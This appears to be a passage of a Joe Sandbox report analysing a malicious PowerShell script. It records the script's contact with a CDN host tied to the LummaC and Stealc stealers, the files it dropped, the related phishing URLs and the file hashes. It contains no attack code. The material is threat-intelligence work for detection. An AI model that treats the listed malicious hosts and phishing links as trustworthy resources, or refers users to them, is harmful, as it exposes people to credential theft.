https://github.com/zeromq/zeromq.org/blob/master/static/safari-pinned-tab.svg	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.toptal.com/brandingA	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wizzair.com/en-gb/information-and-services/about-us/press-office/logos	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sololearn.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://songoda.com/branding	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.skillshare.comJ	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.atlassian.com/company/news/press-kit	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://statuspal.io/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spriters-resource.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getsol.us/branding/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:WWE_Network_logo.svg;	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://on.substack.com/2	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://metro.mahapps.com/winfx/xaml/iconpacks	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D881DEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2445428097.000001D88080C000.00000004.00000800.00020000.00000000.sdmp, MahApps.Metro.IconPacks.MaterialLight.dll.0.dr, MahApps.Metro.IconPacks.BootstrapIcons.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://brandfolder.com/sonicwall/sonicwall-external	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.xda-developers.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.siasky.net/key-concepts/skynet-brand-guidelines7	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sourceforge.net/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://threema.ch/en/press	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tapas.io/site/about#media$	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.yelp.com/styleguide/icons)	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.irishtimes.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yalehome.com3	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/davidkpiano/xstate/blob/544df7f00e2ef49603b5e5ff2f0d183ff6bd5e7c/docs/.vuepress/p	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tinyletter.com/site/press/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.speedtest.net/Z	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://stackoverflow.com/company/logos=	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zdf.de/%	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://brandland.zendesk.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.alibabagroup.com/en/ir/reports-	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zoiper.com/en/products1	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.stellar.org/press1	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://about.zenodo.org	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.spyder-ide.org/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/microsoft/terminal/blob/a90289548f8548bf5c370a4b141b4b815c22616b/res/terminal/Ter	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.spotify.com/documentation/general/design-and-branding/#using-our-logo	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stencyl.com/about/press/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2.svg	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.smashingmagazine.com/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spring.io/trademarks	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.skyliner.io/helpL	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sonos.com/en-gb/home-	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://zigbeealliance.org/solution/zigbee/$	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Teradata/teradata.github.io/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.sonarsource.com/logos/:	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.apachefriends.org/en/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://spinrilla.com$	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stadia.google.com/home	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://woocommerce.com/style-guide/6	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.slideshare.net/ss/creators/	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://woocommerce.com/style-guide/1	powershell.exe, 00000000.00000002.2445428097.000001D881A34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.93.1.250	tengkis.b-cdn.net	Czech Republic		60068	CDN77GB	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1507182
Start date and time:	2024-09-08 09:52:38 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	de7s.txt.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@12/490@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SearchIndexer.exe, PID 4140 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6232 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: de7s.txt.ps1

Simulations

Behavior and APIs

Time	Type	Description
03:53:30	API Interceptor	87x Sleep call for process: powershell.exe modified
03:54:31	API Interceptor	2x Sleep call for process: more.com modified
03:54:35	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.93.1.250	verification.b-cdn.net.ps1	Get hash	malicious	Go Injector, Stealc	Browse
	SecuriteInfo.com.not-a-virus.HEUR.Server-Proxy.MSIL.Agentb.gen.14618.27578.exe	Get hash	malicious	Unknown	Browse
	http://www.madrasaenajah.com/lob-yhIe~Mf/C/	Get hash	malicious	Phisher	Browse
	https://file.io/DEhOHv7umoCj	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.not-a-virus.HEUR.Server-Proxy.MSIL.Luminati.gen.21829.28282.exe	Get hash	malicious	Unknown	Browse
	https://kangbinkwon.github.io/kangbinkwon-Netflix_clonecoding/	Get hash	malicious	Unknown	Browse
	https://llink.to/?u=https://www.theschooloflife.com/about-us/privacy-policy/&e=960e1a6fe5dc4bd580794d1cca87f46c	Get hash	malicious	Unknown	Browse
	https://sports.zaly.online/57724/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tengkis.b-cdn.net	ofsetvideofre.click.ps1	Get hash	malicious	LummaC	Browse	138.199.36.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CDN77GB	https://caseboxmanager-businesscorp.com/	Get hash	malicious	Unknown	Browse	212.102.56.178
	Play_VM-NowBarry.doanAudiowav012.html	Get hash	malicious	Unknown	Browse	195.181.170.18
	https://u1404228.ct.sendgrid.net/ls/click?upn=u001.53NsXfgUBOeYzK87Mt8UmmFmJrZ7XUeaM2H1JJzIOlLD8XdRMGUjLjiETSkkNSOO1aPcOhsB-2B6p58337PPTvLBJHf93ZwdhKuc0pYJ3CCFhPzGYkRFXax0jGvIeRFmcP5G0BUyJ6YhdCuxj2rmKfEA3sfYg2UNxl72w1Me3oPfdrF6jbhGk315PA9TABMIUQaw-2BWiKWUThNlxL-2FiIJdoH5tiTQT-2Bm8o6f2DtPJqJqYyOmKsC6Z8r8BDMH-2BRyR0DPAbc1o4jsJAeLDJ31LwWjsFQYr3zFK5cIf8Mbd-2BRzOeXFDSMm6es3Y0fepvpPG5r7pfagssMFSYnyu8MHsVv5hRcIKJqjAZyLx1ckeV-2FaCznPfw8naJb82iSt3TNueNL1vH7DevWmKVRPxk4wZ5wzTJXKbWW9anlXuh-2BQXFzp8R8-2BdEEizEjCv3UcDuHMQ1pDH865wy4DUZnYMpZjJQJPawcQswhgRnWgvPzhIRyQE-2Bc-3DkIeO_CR4Iv1KReyG-2BUTiHEM2iSrmxUTGCd7nll-2F8pyW4fRHUIiL68JldL5hjEvlqIxpWk9hPYxNH8eo9VRHfVERALBwpMyAhjDc4FUwScFs2ucRUabaJ73tdO-2FPebairfMf4xwZ2dpDlmkqO5pmgc1gE0gGghSpi3dDGJNhz4YymAGUOPzRzAYltzk0Ba7IAVZeXH7Jn8rume2KIoU57-2Fl62ae-2FaTXSu1TIVQ6Migf-2F6NGXqO6vztNaikiQe23mzDzfi19JJ-2FVN5j6ZPVhD34lLHzKpdiifzixAZur7VZCR5Hc24MfYQGTYVbJWBIhMdpT2lgG-2Bg-2FTIWWIZlY-2Fzm-2BK3i-2F0Q-3D-3D	Get hash	malicious	Unknown	Browse	195.181.170.18
	https://portal.ritedose.com/	Get hash	malicious	Unknown	Browse	185.59.220.199
	https://subscribe.pbn.com/PBN/?f=paid	Get hash	malicious	Unknown	Browse	84.17.46.53
	https://7b14357e6ed5ac4dfd72842ddaaaed9f.ipfscdn.io/ipfs/QmenmshJ1Lkb1NoEFFwbJh7REUP2Z4SDr5eZL3JXuJLWkR#info@titlesqld.com.au	Get hash	malicious	HTMLPhisher	Browse	185.93.3.244
	https://ipfs.io/ipfs/QmeKeCuc6egp3ZX5SzEwqrZmh738etEgdSeQ2masEZovkQ/	Get hash	malicious	Unknown	Browse	185.93.3.244
	http://www.kilgorere.com/	Get hash	malicious	HTMLPhisher	Browse	212.102.56.179
	https://ipfs.io/ipfs/bafybeicqb5zaheslaimrate6trmguoxmuxic2uttieu6w3rxzd7xjjhsgm/roundcube.html#adi-websupport-uk@adiglobal.com	Get hash	malicious	HTMLPhisher	Browse	185.93.3.244
	http://gooel.com	Get hash	malicious	Unknown	Browse	195.181.170.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	yJrZoOsgfl.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	IMKssbDprn.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	WBmC56ADQF.lnk	Get hash	malicious	Unknown	Browse	185.93.1.250
	uScqjqUS1m.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	CVSIyqGKKK.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	Leer documentos confidenciales anexos por parte de la Corte Suprema De Justicia.vbs	Get hash	malicious	Unknown	Browse	185.93.1.250
	BrxaiME612.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	185.93.1.250
	BrxaiME612.exe	Get hash	malicious	Unknown	Browse	185.93.1.250
	RFQ.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	185.93.1.250
	SecuriteInfo.com.Adware.DownwareNET.4.3128.32406.exe	Get hash	malicious	Unknown	Browse	185.93.1.250

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\cdbwxlpdlbk	ofsetvideofre.click.ps1	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\file\WebUI.dll	ofsetvideofre.click.ps1	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\file\Set-up.exe	ofsetvideofre.click.ps1	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\file\Set-up.exe	NPKpnpi8wd.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SearchIndexer.ex_d4a17d5ad0cd8f376c378ad8f43eeb803d19ad1_9e0a92cb_b7493a4c-6091-45fa-b82e-b7269298d028\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7538893739583391
Encrypted:	false
SSDEEP:	192:YJ+36skeuJX2X0BU/oBRjITzuiFYZ24IO8XOn:ymhuXbBU/wjkzuiFYY4IO8g
MD5:	0621780B344D6B64062DF6958B04E829
SHA1:	88AEF5E01DC65C9FFD6FD3BC90168039133F1446
SHA-256:	298791CB5E9CF55C42DF5FBFB076359039FD4DD274BD4ED33818EED6C99F3D2D
SHA-512:	30D1EB055747618AA16E45B7E8C2A63A5C6FF92CCC17CBB8382BCD65808ABFAF216B9EC42B8B0A40718172A3BCE8E09815C60096B2425D521285FCD0F98DC904
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.2.5.5.6.7.2.3.6.7.5.7.5.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.2.5.5.6.7.2.9.6.1.3.2.3.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.7.4.9.3.a.4.c.-.6.0.9.1.-.4.5.f.a.-.b.8.2.e.-.b.7.2.6.9.2.9.8.d.0.2.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.5.5.b.2.4.8.9.-.9.4.f.4.-.4.6.b.5.-.9.f.9.5.-.e.e.6.f.d.2.e.3.e.6.a.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.a.r.c.h.I.n.d.e.x.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.e.a.r.c.h.I.n.d.e.x.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.2.c.-.0.0.0.1.-.0.0.1.5.-.f.4.8.6.-.4.e.5.4.c.4.0.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.0.4.6.4.a.9.c.6.7.f.c.b.d.d.9.3.e.b.5.6.9.6.a.9.e.5.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8267.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Sep 8 07:54:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	38982
Entropy (8bit):	1.9520398241148815
Encrypted:	false
SSDEEP:	192:NCF96Ok1R+7Oklx9eyb3HbnR6MiAAotVd+Cu:Ilst89eyp6GtX+C
MD5:	BD81C3E10A8B649826A9353058ED1266
SHA1:	395673E0EF29CE5AD95E73003A5C44DFB62ED926
SHA-256:	4D05FA563ACFF311046A84270468889B385421F8D59136084CF71EC8C260413B
SHA-512:	3E7AD3B45F7334C2418545E86F2DF0D678C868BC1A295C9764D4111CBDD2A7A45299CD9802B1F9B9CE3FB5356FDA2137625514A89DB974D2C502B593442F28FC
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......8X.f........................................."..........T.......8...........T...........X..............,...........................................................................................eJ..............GenuineIntel............T.......,...3X.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83C0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6354
Entropy (8bit):	3.7272961851712183
Encrypted:	false
SSDEEP:	192:R6l7wVeJ6E66WHYkLeVprO89bIPsfm54m:R6lXJq6+YIefI0fmz
MD5:	875210CD9B524E4F5C21D8F9ACA1218E
SHA1:	2FCE45D2B3DEE8C2FF1E5449F395C7CC003EC2D2
SHA-256:	23AB66CECDA6820D55AD459D2CFA505E8CBA0DF03468AAB8A2A3E3592C03334F
SHA-512:	EA3BF076369D2FE7DE7617E438602D63E4D8C52342284DA514874536AA75D821B0E5A001E65A7FE1108C80FE4B60EFB61B3E0FEA9F44A2646EF7E5693DF37443
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83F0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.506278799835897
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI9cvWpW8VY9Ym8M4JUA+GF+QT+q8122lKSJxYd:uIjfeI7++7VxJUA3EFRJxYd
MD5:	61C90DA870CA84A4DD197315B9B7ADC1
SHA1:	2B27C6FD7D7E2002C1C829135AA336B5F7A6572D
SHA-256:	EF2F112843D9E62F70EF759A5678B76BCD6A1D2E388630122E8F17DB5DDD8EE9
SHA-512:	F60F94703CBB1218C2BAEE53522DFD1C1A77BA2733A00216E72C45CE3CA406D356BAE49F2D69EE93EEAD89E8D3B64D8C9A504BFF29CF9CC23FA06CED3636EEB8
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="490977" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1464
Entropy (8bit):	5.321717124792671
Encrypted:	false
SSDEEP:	24:3LSKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNUNuTx9r8Hv9ILAl/:bSU4y4RQmFoUeCamfm9qr9tK8NfUNuTM
MD5:	04E7D9249D0570EC81093B296B440CC4
SHA1:	FF3888C0FE352087AC218FFC4C746D916B043AAB
SHA-256:	8E056CBDB830700C2D3457D114DEB829F4658DB8982A3FA1C945E8EE6AAB5788
SHA-512:	8474A30FA223B850B536C4A6208AA7EB1D68711C1227AF2A40A7B49771015927782C7E7F5DB3A7F05189A413051D73201931546AFE79253075F9DB08C4A70076
Malicious:	false
Preview:	@...e...........)....................................@..........@...............\|.jdY\.H.s9.!..\|(.......System.IO.Compression...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\480327de

Download File

Process:	C:\Users\user\AppData\Local\Temp\file\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	1187032
